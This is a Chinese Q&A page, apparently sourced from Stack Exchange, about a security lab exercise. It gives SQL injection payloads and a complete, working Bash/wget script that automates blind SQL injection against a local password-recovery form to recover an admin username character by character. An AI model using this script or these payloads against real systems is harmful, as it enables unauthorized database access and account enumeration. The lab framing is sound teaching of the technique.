基于Wget的盲SQL注入自动化脚本:Wget语句与响应处理咨询
问题背景
在IT安全实验中,尝试编写Bash脚本自动化基于事件的盲SQL注入。目标网站的找回密码功能接收username参数,响应分为两种:返回“an email has been sent”或error.html,该功能存在SQL注入漏洞。目标是遍历字母表构造SQL语句,获取仅由a-z组成的管理员用户名。
注入逻辑
- 验证管理员用户名前缀的SQL语句示例:
该语句用于验证管理员用户名是否以“a”开头,依次检查a-z字符。当返回' UNION SELECT username FROM users WHERE username LIKE 'a%' AND admin=1 -- -retrieve_password.html时表示验证成功,否则返回error.html。 - 验证完整用户名的SQL语句示例:
每匹配成功一位字符后,用该语句检查是否已获取完整用户名。' UNION SELECT username FROM users WHERE username='abc' AND admin=1 -- -
脚本雏形
#!/bin/bash for ((i=0;i<50;i++)) do for x in {a..z} do wget --post-data 'username=\' UNION SELECT username FROM users WHERE username like \'$name$x%\' AND admin=1 -- -' http://127.0.0.1:8081/retrieve_password if [ #positive feedback ] then #Try if correct username is already retrieved wget --post-data 'username=\' UNION SELECT username FROM users WHERE username='$name$x' AND admin=1 -- -' http://127.0.0.1:8081/retrieve_password #If username was found exit if [ #positive feedback ] then echo $name$x exit else name+=$x break fi fi done done
咨询问题
- 符合需求的Wget请求语句应如何编写?
- 如何处理Wget POST请求的响应结果?
解决方案
1. 正确的Wget POST请求编写
Wget的--post-data参数需要正确处理引号转义,避免Shell解析错误。核心是把注入语句完整封装到POST数据中,同时合理使用引号让变量正常解析:
前缀验证请求
wget --quiet --output-document=- --post-data="username=' UNION SELECT username FROM users WHERE username LIKE '$name$x%' AND admin=1 -- -" http://127.0.0.1:8081/retrieve_password
--quiet:关闭Wget的日志输出,避免干扰结果判断--output-document=-:把响应内容输出到标准输出,方便后续处理- 用双引号包裹
--post-data内容,内部单引号直接使用即可,Shell会自动解析变量$name和$x
完整用户名验证请求
wget --quiet --output-document=- --post-data="username=' UNION SELECT username FROM users WHERE username='$name$x' AND admin=1 -- -" http://127.0.0.1:8081/retrieve_password
仅将前缀验证中的LIKE '$name$x%'替换为='$name$x',其余参数逻辑一致。
2. Wget响应结果的处理
通过匹配响应内容中的特征字符串(如“an email has been sent”)来判断验证是否成功,具体步骤如下:
- 将Wget的响应内容保存到变量中
- 使用
grep静默检查变量中是否包含成功标识
修正后的完整脚本
#!/bin/bash name="" max_length=50 for ((i=0; i<max_length; i++)) do for x in {a..z} do # 验证当前前缀是否正确 response=$(wget --quiet --output-document=- --post-data="username=' UNION SELECT username FROM users WHERE username LIKE '$name$x%' AND admin=1 -- -" http://127.0.0.1:8081/retrieve_password) if echo "$response" | grep -q "an email has been sent"; then # 验证是否为完整用户名 full_response=$(wget --quiet --output-document=- --post-data="username=' UNION SELECT username FROM users WHERE username='$name$x' AND admin=1 -- -" http://127.0.0.1:8081/retrieve_password) if echo "$full_response" | grep -q "an email has been sent"; then echo "Found admin username: $name$x" exit 0 else name+=$x echo "Current prefix: $name" break fi fi done done echo "Reached max length without finding full username" exit 1
内容的提问来源于stack exchange,提问作者user73347
相关产品推荐
相关产品推荐

